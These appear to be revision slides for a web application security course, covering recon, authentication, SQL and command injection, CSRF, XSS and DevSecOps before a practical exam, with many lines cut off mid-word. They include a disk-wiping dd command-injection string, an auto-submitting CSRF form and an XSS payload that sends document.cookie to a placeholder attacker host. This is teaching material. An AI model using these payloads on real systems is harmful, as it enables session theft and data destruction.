Web Application

OVERVIEW

- The exam will go for 24 3 hours, and should be done from home.
- The exam will com
  - 7 practical cha
  - 1 written response challenge
- There are no hidden or bonus marks.

- This is a high-level recap. You should review the weekly slides.

TOPIC 1: RECON

- Recon identifies infrastructure, applications and content
  - Offensive: look for unpatched software, test / admin content, test admin content
  - Defensive: kn et list
- Check for bug bou
- Commercial tools available
- Verify false positives / negatives

- You will not need to do host discovery in the final exam.

TOPIC 1: RECON

- Automated tooling:
  - dirb, dirbuster, gobuster (have a wordlist ready)
  - burp passive scanner
  - fingerprint / c
  - altdns, zdns, massdns
- View source:
  - Comments
  - Links
  - HTTP Headers

TOPIC 2: AUTHENTICATION

- Authentication identifies a specific user logging in
- Typical attacks:
  - Brute force / simple passwords (e.g. admin:admin)
  - Injection atta
  - Broken forgot
  - XSS (stealing a user's cookie)
  - Session fixation (forcibly set a user's cookie).
- Burpsuite request tampering to modify
- Hashcat/john/google to look up password hashes

TOPIC 2: AUTHORIZATION

- Authorization identifies whether a user is permitted to take an action or use a resource.
- Typical attacks:
  - IDOR (id=2)
  - Browse to pri ileged user
  - Modify own user pages
  - CSRF (force someone else to tak tion)
  - XSS (use another user to fetch privileged content)

TOPIC 2: ACCESS CONTROL

TOPIC 3: SERVER-SIDE ATTACKS

Make your own test string. Edit it to suit it each target. Test your own systems.

TOPIC 3: SQLi

```
select * from users where username='admin' and password='hunter2' limit 1;
```


- Write out your SQ
- Quote styles (sing
- Comment styles (--, #, ;)
- Wildcards (%, *)
- Binary searches vs delays
- sqlmap (but always manually review your tool output).

TOPIC 3: COMMAND INJECTION

```
ping 8.8.8.8 && dd if=/dev/urandom of=/dev/sda1 bs=1 count=1024
```


- Look for where yo
- Be aware of OS s
  - Chaining commands
  - UNC paths
  - Backticks
- Cheatsheet: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html

TOPIC 3: DEFENSE AGAINST INJECTION

- Any input influenced by a user is considered tainted.
- Do not (without filtering):
  - Use tainted data in processing
  - Display tainte
- Filtering technique
  - Check the input exists at all
  - Check input is legitimate format a
  - Whitelist entire input (e.g. “input must be 1,2 or 3”)
  - Whitelist characters

TOPIC 4: CLIENT SIDE SECURITY

TOPIC 4: CSRF

(source: week 5)

TOPIC 4: SAME ORIGIN POLICY

tl;dr: JavaScript from one origin cannot access data from another origin.

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

TOPIC 4: CSRF

```
<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden"                                    r.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```


Use random CSRF tokens to prevent this.

TOPIC 4: XSS

- When an attacker can control the content displayed to users
  - HTML, JavaScript, CSS, any other active content
  - Extract cookies (document.write("blah"+document.cookie))
  - Chain with C request)
- Reflected: attacke when accessed by the victim.
- Stored: attacker poisons a persistent s later

You should have some payloads prepared for the exam, e.g.:

```
<scRipt>fetch("https://{attacker_url}:8443/api/v1/pastebin?pasteval="+document.cookie)</scRipT>
```

TOPIC 5: DEVSECOPS / AGILE SECURITY

DevSecOps—short for *development, security,* and *operations*—automates the integration of security at every phase of the software development lifecycle, from initial design through integration, testing, deployment, and software delivery.

- Role of security in agil
- Static AST, Dynamic
- Source code review:
  - Sources, sinks, taint and taint tracking
  - Tools: commercial, grep

The exam's written component will be on Week 5 content.

THANK S RANT!

Questions? email

(there is no lecture tomorrow)